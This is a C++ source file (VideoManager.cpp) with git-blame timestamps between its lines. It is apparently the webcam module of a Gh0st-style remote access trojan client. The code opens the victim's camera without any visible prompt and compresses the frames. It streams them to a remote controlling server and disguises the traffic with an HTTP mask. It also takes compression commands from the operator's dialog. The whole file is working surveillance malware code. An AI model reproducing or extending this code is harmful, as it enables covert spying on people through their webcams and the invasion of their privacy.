2026-01-02 20:00:18 +01:00
|
|
|
|
// VideoManager.cpp: implementation of the CVideoManager class.
|
2019-01-05 20:21:43 +08:00
|
|
|
|
//
|
|
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
|
|
|
|
|
|
|
|
#include "stdafx.h"
|
|
|
|
|
|
#include "VideoManager.h"
|
|
|
|
|
|
#include "Common.h"
|
|
|
|
|
|
#include <iostream>
|
|
|
|
|
|
|
|
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
|
|
// Construction/Destruction
|
|
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
|
|
|
2025-03-13 23:34:33 +08:00
|
|
|
|
CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject)
|
2019-01-05 20:21:43 +08:00
|
|
|
|
{
|
2025-10-15 04:32:59 +08:00
|
|
|
|
m_bIsWorking = TRUE;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
2025-10-15 04:32:59 +08:00
|
|
|
|
m_bIsCompress = false;
|
|
|
|
|
|
m_pVideoCodec = NULL;
|
|
|
|
|
|
m_fccHandler = 1129730893;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
2026-01-02 20:00:18 +01:00
|
|
|
|
m_CapVideo.Open(0,0); // 开启
|
2025-10-15 04:32:59 +08:00
|
|
|
|
lpBuffer = NULL;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
2025-10-15 04:32:59 +08:00
|
|
|
|
m_hWorkThread = __CreateThread(NULL, 0, WorkThread, this, 0, NULL);
|
2019-01-05 20:21:43 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
DWORD CVideoManager::WorkThread(LPVOID lParam)
|
|
|
|
|
|
{
|
2025-10-15 04:32:59 +08:00
|
|
|
|
CVideoManager *This = (CVideoManager *)lParam;
|
|
|
|
|
|
static ULONGLONG dwLastScreen = GetTickCount64();
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
2026-01-02 20:00:18 +01:00
|
|
|
|
if (This->Initialize()) { //转到Initialize
|
|
|
|
|
|
This->m_bIsCompress=true; //如果初始化成功就设置可以压缩
|
|
|
|
|
|
Mprintf("压缩视频进行传输.\n");
|
2025-10-15 04:32:59 +08:00
|
|
|
|
}
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
2026-01-02 20:00:18 +01:00
|
|
|
|
This->SendBitMapInfor(); //发送bmp位图结构
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
2026-01-02 20:00:18 +01:00
|
|
|
|
// 等控制端对话框打开
|
2025-10-15 04:32:59 +08:00
|
|
|
|
This->WaitForDialogOpen();
|
2019-01-22 20:44:23 +08:00
|
|
|
|
#if USING_ZLIB
|
2026-01-02 20:00:18 +01:00
|
|
|
|
const int fps = 8;// 帧率
|
2019-01-22 20:44:23 +08:00
|
|
|
|
#else
|
2026-01-02 20:00:18 +01:00
|
|
|
|
const int fps = 8;// 帧率
|
2019-01-22 20:44:23 +08:00
|
|
|
|
#endif
|
2026-01-02 20:00:18 +01:00
|
|
|
|
const int sleep = 1000 / fps;// 间隔时间(ms)
|
2025-10-15 04:32:59 +08:00
|
|
|
|
|
|
|
|
|
|
timeBeginPeriod(1);
|
|
|
|
|
|
while (This->m_bIsWorking) {
|
2026-01-02 20:00:18 +01:00
|
|
|
|
// 限制速度
|
2025-10-15 04:32:59 +08:00
|
|
|
|
int span = sleep-(GetTickCount64() - dwLastScreen);
|
|
|
|
|
|
Sleep(span > 0 ? span : 1);
|
|
|
|
|
|
if (span < 0)
|
|
|
|
|
|
Mprintf("SendScreen Span = %d ms\n", span);
|
|
|
|
|
|
dwLastScreen = GetTickCount64();
|
|
|
|
|
|
if(FALSE == This->SendNextScreen())
|
|
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
timeEndPeriod(1);
|
|
|
|
|
|
|
|
|
|
|
|
This->Destroy();
|
|
|
|
|
|
Mprintf("CVideoManager WorkThread end\n");
|
|
|
|
|
|
|
|
|
|
|
|
return 0;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
CVideoManager::~CVideoManager()
|
|
|
|
|
|
{
|
2025-10-15 04:32:59 +08:00
|
|
|
|
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
|
|
|
|
|
|
m_CapVideo.m_bExit = TRUE;
|
|
|
|
|
|
WaitForSingleObject(m_hWorkThread, INFINITE);
|
2025-12-26 15:57:27 +01:00
|
|
|
|
SAFE_CLOSE_HANDLE(m_hWorkThread);
|
2025-10-15 04:32:59 +08:00
|
|
|
|
Mprintf("CVideoManager ~CVideoManager \n");
|
2026-01-02 20:00:18 +01:00
|
|
|
|
if (m_pVideoCodec) { //压缩类
|
2025-10-15 04:32:59 +08:00
|
|
|
|
delete m_pVideoCodec;
|
|
|
|
|
|
m_pVideoCodec = NULL;
|
|
|
|
|
|
}
|
|
|
|
|
|
if (lpBuffer)
|
|
|
|
|
|
delete [] lpBuffer;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
void CVideoManager::Destroy()
|
|
|
|
|
|
{
|
2025-10-15 04:32:59 +08:00
|
|
|
|
m_bIsWorking = FALSE;
|
|
|
|
|
|
Mprintf("CVideoManager Destroy \n");
|
2026-01-02 20:00:18 +01:00
|
|
|
|
if (m_pVideoCodec) { //压缩类
|
2025-10-15 04:32:59 +08:00
|
|
|
|
delete m_pVideoCodec;
|
|
|
|
|
|
m_pVideoCodec = NULL;
|
|
|
|
|
|
}
|
2019-01-05 20:21:43 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
void CVideoManager::SendBitMapInfor()
|
|
|
|
|
|
{
|
2025-10-15 04:32:59 +08:00
|
|
|
|
const int dwBytesLength = 1 + sizeof(BITMAPINFO);
|
|
|
|
|
|
BYTE szBuffer[dwBytesLength + 3] = { 0 };
|
|
|
|
|
|
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
|
|
|
|
|
|
memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
|
|
|
|
|
|
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
|
|
|
|
|
m_ClientObject->Send2Server((char*)szBuffer, dwBytesLength, &mask);
|
2019-01-05 20:21:43 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
2019-01-22 20:44:23 +08:00
|
|
|
|
BOOL CVideoManager::SendNextScreen()
|
2019-01-05 20:21:43 +08:00
|
|
|
|
{
|
2025-10-15 04:32:59 +08:00
|
|
|
|
DWORD dwBmpImageSize=0;
|
|
|
|
|
|
LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize);
|
|
|
|
|
|
if(lpDIB == NULL)
|
|
|
|
|
|
return FALSE;
|
|
|
|
|
|
|
|
|
|
|
|
// token + IsCompress + m_fccHandler + DIB
|
|
|
|
|
|
const int nHeadLen = 1 + 1 + 4;
|
|
|
|
|
|
|
|
|
|
|
|
UINT nBufferLen = nHeadLen + dwBmpImageSize;
|
|
|
|
|
|
lpBuffer = lpBuffer ? lpBuffer : new BYTE[nBufferLen];
|
|
|
|
|
|
|
|
|
|
|
|
lpBuffer[0] = TOKEN_WEBCAM_DIB;
|
2026-01-02 20:00:18 +01:00
|
|
|
|
lpBuffer[1] = m_bIsCompress; //压缩
|
2025-10-15 04:32:59 +08:00
|
|
|
|
|
2026-01-02 20:00:18 +01:00
|
|
|
|
memcpy(lpBuffer + 2, &m_fccHandler, sizeof(DWORD)); //这里将视频压缩码写入要发送的缓冲区
|
2025-10-15 04:32:59 +08:00
|
|
|
|
|
|
|
|
|
|
UINT nPacketLen = 0;
|
2026-01-02 20:00:18 +01:00
|
|
|
|
if (m_bIsCompress && m_pVideoCodec) { //这里判断,是否压缩,压缩码是否初始化成功,如果成功就压缩
|
2025-10-15 04:32:59 +08:00
|
|
|
|
int nCompressLen = 0;
|
2026-01-02 20:00:18 +01:00
|
|
|
|
//这里压缩视频数据了
|
2025-10-15 04:32:59 +08:00
|
|
|
|
bool bRet = m_pVideoCodec->EncodeVideoData((LPBYTE)lpDIB,
|
|
|
|
|
|
m_CapVideo.GetBmpInfor()->bmiHeader.biSizeImage, lpBuffer + nHeadLen,
|
|
|
|
|
|
&nCompressLen, NULL);
|
|
|
|
|
|
if (!nCompressLen) {
|
|
|
|
|
|
// some thing error
|
|
|
|
|
|
return FALSE;
|
|
|
|
|
|
}
|
2026-01-02 20:00:18 +01:00
|
|
|
|
//重新计算发送数据包的大小 剩下就是发送了,我们到主控端看一下视频如果压缩了怎么处理
|
|
|
|
|
|
//到主控端的void CVideoDlg::OnReceiveComplete(void)
|
2025-10-15 04:32:59 +08:00
|
|
|
|
nPacketLen = nCompressLen + nHeadLen;
|
|
|
|
|
|
} else {
|
2026-01-02 20:00:18 +01:00
|
|
|
|
//不压缩 永远不来
|
2025-10-15 04:32:59 +08:00
|
|
|
|
memcpy(lpBuffer + nHeadLen, lpDIB, dwBmpImageSize);
|
|
|
|
|
|
nPacketLen = dwBmpImageSize+ nHeadLen;
|
|
|
|
|
|
}
|
|
|
|
|
|
m_CapVideo.SendEnd(); //copy send
|
|
|
|
|
|
|
|
|
|
|
|
m_ClientObject->Send2Server((char*)lpBuffer, nPacketLen);
|
|
|
|
|
|
|
|
|
|
|
|
return TRUE;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
VOID CVideoManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|
|
|
|
|
{
|
2025-10-15 04:32:59 +08:00
|
|
|
|
switch (szBuffer[0]) {
|
|
|
|
|
|
case COMMAND_NEXT: {
|
|
|
|
|
|
NotifyDialogIsOpen();
|
|
|
|
|
|
break;
|
|
|
|
|
|
}
|
2026-01-02 20:00:18 +01:00
|
|
|
|
case COMMAND_WEBCAM_ENABLECOMPRESS: { // 要求启用压缩
|
|
|
|
|
|
// 如果解码器初始化正常,就启动压缩功能
|
2025-10-15 04:32:59 +08:00
|
|
|
|
if (m_pVideoCodec)
|
|
|
|
|
|
InterlockedExchange((LPLONG)&m_bIsCompress, true);
|
2026-01-02 20:00:18 +01:00
|
|
|
|
Mprintf("压缩视频进行传输.\n");
|
2025-10-15 04:32:59 +08:00
|
|
|
|
break;
|
|
|
|
|
|
}
|
2026-01-02 20:00:18 +01:00
|
|
|
|
case COMMAND_WEBCAM_DISABLECOMPRESS: { // 原始数据传输
|
2025-10-15 04:32:59 +08:00
|
|
|
|
InterlockedExchange((LPLONG)&m_bIsCompress, false);
|
2026-01-02 20:00:18 +01:00
|
|
|
|
Mprintf("不压缩视频进行传输.\n");
|
2025-10-15 04:32:59 +08:00
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
2019-01-05 20:21:43 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
BOOL CVideoManager::Initialize()
|
|
|
|
|
|
{
|
2025-10-15 04:32:59 +08:00
|
|
|
|
BOOL bRet = TRUE;
|
|
|
|
|
|
|
|
|
|
|
|
if (m_pVideoCodec!=NULL) {
|
|
|
|
|
|
delete m_pVideoCodec;
|
|
|
|
|
|
m_pVideoCodec=NULL;
|
|
|
|
|
|
}
|
2026-01-02 20:00:18 +01:00
|
|
|
|
if (m_fccHandler==0) { //不采用压缩
|
2025-10-15 04:32:59 +08:00
|
|
|
|
bRet= FALSE;
|
|
|
|
|
|
return bRet;
|
|
|
|
|
|
}
|
|
|
|
|
|
m_pVideoCodec = new CVideoCodec;
|
2026-01-02 20:00:18 +01:00
|
|
|
|
//这里初始化,视频压缩 ,注意这里的压缩码 m_fccHandler(到构造函数中查看)
|
2025-10-15 04:32:59 +08:00
|
|
|
|
if (!m_pVideoCodec->InitCompressor(m_CapVideo.GetBmpInfor(), m_fccHandler)) {
|
|
|
|
|
|
delete m_pVideoCodec;
|
|
|
|
|
|
bRet=FALSE;
|
2026-01-02 20:00:18 +01:00
|
|
|
|
// 置NULL, 发送时判断是否为NULL来判断是否压缩
|
2025-10-15 04:32:59 +08:00
|
|
|
|
m_pVideoCodec = NULL;
|
|
|
|
|
|
}
|
|
|
|
|
|
return bRet;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
}
|